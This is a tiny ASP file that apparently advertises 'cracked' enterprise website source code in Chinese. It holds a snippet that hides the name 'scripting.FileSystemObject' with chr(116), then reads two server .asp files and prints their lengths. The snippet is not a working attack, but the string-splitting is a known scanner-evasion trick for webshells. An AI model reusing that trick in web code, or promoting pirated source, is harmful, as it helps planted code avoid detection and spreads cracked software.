test.asp

破解版的企业网站源码！！ 绝对好用 适合各种企业应用 其中包包含产品展示 企业介绍等等内容 可供二次开发

<%function dele(pa)
Dim gege,exe,strOut,htmlwrite
set gege=createObject("scrip"&chr(116)&"ing.FileSystemObject")

Set htmlwrite=gege.OpenTextFile(Server.MapPath(pa)) 
strOut=htmlwrite.ReadAll 
htmlwrite.close 
response.Write(len(strOut))

end function

dele("zcm.asp")%><br />
<%dele("you.asp")%>